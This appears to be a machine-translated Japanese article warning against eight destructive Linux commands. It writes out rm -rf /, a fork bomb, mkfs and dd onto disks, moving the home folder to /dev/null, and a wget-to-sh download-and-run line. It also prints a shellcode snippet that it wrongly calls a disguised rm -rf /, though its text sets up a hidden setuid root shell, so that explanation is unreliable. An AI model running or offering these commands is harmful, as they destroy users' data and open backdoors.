Linux 上で決して実行してはいけない 8 つの危険なコマンド

Linux 上で決して実行してはいけない 8 つの危険なコマンド

Linux のターミナル コマンドは非常に破壊的であり、コマンドを実行するとシステムが破壊されます。 Linux では、コマンドを実行するときに確認する必要はありません。

Linux 上で実行すべきではないコマンドを知ることは、Linux で作業するときにシステムを保護するのに役立ちます。以下は、Linux 上で決して実行してはいけない 8 つの危険なコマンドです。

Linux 上で決して実行してはいけない 8 つの危険なコマンド

1. rm -rf / - すべて削除します

rm -rf / コマンドは、ハード ドライブ上のファイルやコンピュータに接続されているメディア デバイス上のファイルを含むすべてを削除します。

このコマンドをよりよく理解するには、次のように分析します。

  • rm – 次のファイルを削除します。
  • -rf – rm (指定したフォルダー内のすべてのファイルとフォルダーを削除) を実行し、最初に確認することなくすべてのファイルを強制的に削除します。
  • / – rm (rm と言います) が、コンピュータ上のすべてのファイルを含むルート ディレクトリで開始されることを示します。

Linux はこのコマンドに従い、警告なしにすべてを削除するため、このコマンドを使用するときは注意してください。

さらに、rm コマンドは非常に危険な方法でも使用されます。たとえば、rm –rf ~ はホーム フォルダー内のすべてのファイルを削除し、rm -rf .* はすべての構成ファイルを削除します。

2. 偽装コマンド rm –rf /

Web 上にあるコードのスニペットを次に示します。

char esp[] __attribute__ ((section(".text"))) /* esp release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

これは本質的に rm –rf / の別のバージョンです。このコマンドを実行すると、rm –rf / を実行するのと同じように、すべてのファイルも削除されます。

3. :(){ :|: & };: – 大ヒット作の一種

Linux 上で決して実行してはいけない 8 つの危険なコマンド

以下のコマンドラインは非常に単純に見えますが、その機能は実際には非常に危険です。

:(){ :|: & };:

この短いコマンドは、それ自体の新しいコピーを作成します。つまり、バックアップ プロセス自体が継続的に行われるため、CPU とメモリがすぐにいっぱいになってしまいます。

また、コンピュータがフリーズする可能性もあります。これは基本的にサービス拒否 (DoS) 攻撃です。

4. mkfs.ext4 /dev/sda1 – ハードドライブのフォーマット

コマンド mkfs.ext4 /dev/sda1 は非常に理解しやすいです。

  • mkfs.ext4 - 次のデバイス上に ext4 ファイル システムを作成します。
  • /dev/sda1 - 最初のハード ドライブの最初のパーティションを識別します。これは使用中のハード ドライブである可能性があります。

これら 2 つのコマンドを組み合わせるのは、Windows で C: ドライブをフォーマットするのと同じです。最初のパーティションにあるすべてのファイルを削除し、新しいファイル システムに置き換えます。

このコマンドは、次のようなさまざまな形式で表示できます。 - mkfs.ext3 /dev/sdb2 は、2 番目のハード ドライブ上の 2 番目のパーティションを ext3 ファイル システムでフォーマットします。

5. コマンド > /dev/sda - ハードドライブに直接書き込みます

Linux 上で決して実行してはいけない 8 つの危険なコマンド

コマンド ライン > /dev/sda - コマンドを実行し、そのコマンドの結果を最初のハード ドライブに直接出力します。これにより、データがハード ドライブに直接書き込まれ、ファイル システムが破壊されます。

  • command – コマンドを実行します (任意のコマンドを使用できます)。
  • > – コマンド出力を次の場所に送信します。
  • /dev/sda – コマンド出力をハードドライブデバイスに直接書き込みます。

6. dd if=/dev/random of=/dev/sda – 愚かなデータをハードドライブに書き込みます

行 dd if=/dev/random of=/dev/sda は、ハード ドライブの 1 つ上のデータを削除します。

  • dd – ある場所から別の場所へ低レベルのコピーを実行します。
  • if=/dev/random – /dev/random を入力として使用します – /dev/zero のようなアドレスが表示される場合があります。
  • of=/dev/sda – 最初のハードドライブに出力し、ファイルシステムをランダムな愚かなデータに置き換えます。

7. mv ~ /dev/null – ホームディレクトリをブラックホールに移動します

/dev/null - 何かを /dev/null に移動することは、それを破棄することと同じです。 /dev/null をブラックホールとして考えてください。 mv ~ /dev/null はすべての個人ファイルをブラックホールに送信します。

  • mv – 次のファイルまたはフォルダーを別の場所に移動します。
  • ~ – ホーム フォルダー全体。
  • /dev/null – ホーム フォルダーを /dev/null に移動すると、すべてのファイルが破棄され、元のコピーが削除されます。

8. wget http://example.com/something -O – | sh – スクリプトをロードして実行する

上記のコマンドは、Web からスクリプトをダウンロードし、そのスクリプトを sh に送信し、スクリプトの内容が実行されます。スクリプトが何であるかわからない場合、または信頼できるスクリプト ソースがない場合、これは危険である可能性があります。信頼できないスクリプトは実行しないでください。

wget – ファイルをダウンロードします。

http://example.com/something – この場所からファイルをダウンロードします。

| – wget コマンドの出力 (ダウンロードされたバージョン ファイル) を別のコマンドに直接パイプ (送信) します。

sh – ファイルを sh コマンドに送信します。

以下のその他の記事を参照してください。

楽しんでください!


究極のパフォーマンスを有効にして Windows 10/11 のパフォーマンスを最適化する方法

究極のパフォーマンスを有効にして Windows 10/11 のパフォーマンスを最適化する方法

Microsoft は、2018 年 4 月に Windows 10 Update に Ultimate Performance と呼ばれる機能を追加しました。これは、システムを高パフォーマンス動作モードに切り替えるのに役立つ機能であることがわかります。

Windows 10 Sun Valley のような新しいファイル エクスプローラー アイコン セットをインストールする方法

Windows 10 Sun Valley のような新しいファイル エクスプローラー アイコン セットをインストールする方法

Windows 10 Sun Valley のようなファイル エクスプローラーの新しいアイコンが気に入った場合は、以下の記事に従ってファイル エクスプローラーのまったく新しいインターフェイスを変更してください。

Windows 10 Webカメラをテストする方法

Windows 10 Webカメラをテストする方法

Web カメラが Windows コンピューターで適切に動作するかどうかを確認するのは、迅速かつ簡単です。以下は、カメラを確認するための手順です。

Windows 10 でマイクをテストする方法

Windows 10 でマイクをテストする方法

おそらく高品質のヘッドフォンが接続されているのに、何らかの理由で Wi​​ndows ラップトップがひどい内蔵マイクを使用して録音しようとし続けます。次の記事では、Windows 10 マイクをテストする方法について説明します。

右クリックメニューから「Malwarebytesでスキャン」を削除する方法

右クリックメニューから「Malwarebytesでスキャン」を削除する方法

不要になった場合は、右クリックのコンテキスト メニューから [Malwarebytes でスキャン] オプションを削除できます。その方法は次のとおりです。

ボーダー ゲートウェイ プロトコル (BGP) について学ぶ

ボーダー ゲートウェイ プロトコル (BGP) について学ぶ

ボーダー ゲートウェイ プロトコル (BGP) は、インターネットのルーティング情報を交換するために使用され、ISP (異なる AS) 間で使用されるプロトコルです。

独自の Windows レジストリ ハック ファイルを作成する方法

独自の Windows レジストリ ハック ファイルを作成する方法

ヒントを読んでいると、レジストリ ハック ファイルを使用して Windows コンピュータをカスタマイズしたり微調整したりする人がよく見かけますが、その作成方法を疑問に思っています。この記事では、独自のレジストリ ハック ファイルを作成する基本的な手順を説明します。

Windows 10で自動レジストリバックアップを有効にする方法

Windows 10で自動レジストリバックアップを有効にする方法

Microsoft は以前はレジストリを自動的にバックアップしていましたが、この機能は Windows 10 では密かに無効になっています。この記事では、Quantrimang.com がレジストリをフォルダーに自動的にバックアップする手順を説明します。 RegBack (Windows\System32\config \RegBack) Windows 10 では。

Windows PCでアクションを元に戻す方法

Windows PCでアクションを元に戻す方法

コンピューターを使用していると、間違いを犯すのはごく普通のことです。

Windows 10/11 でイーサネット接続が切断され続ける場合はどうすればよいですか?

Windows 10/11 でイーサネット接続が切断され続ける場合はどうすればよいですか?

Windows 10 または 11 PC では、イーサネット接続が理由もなく切断されてイライラすることがあります。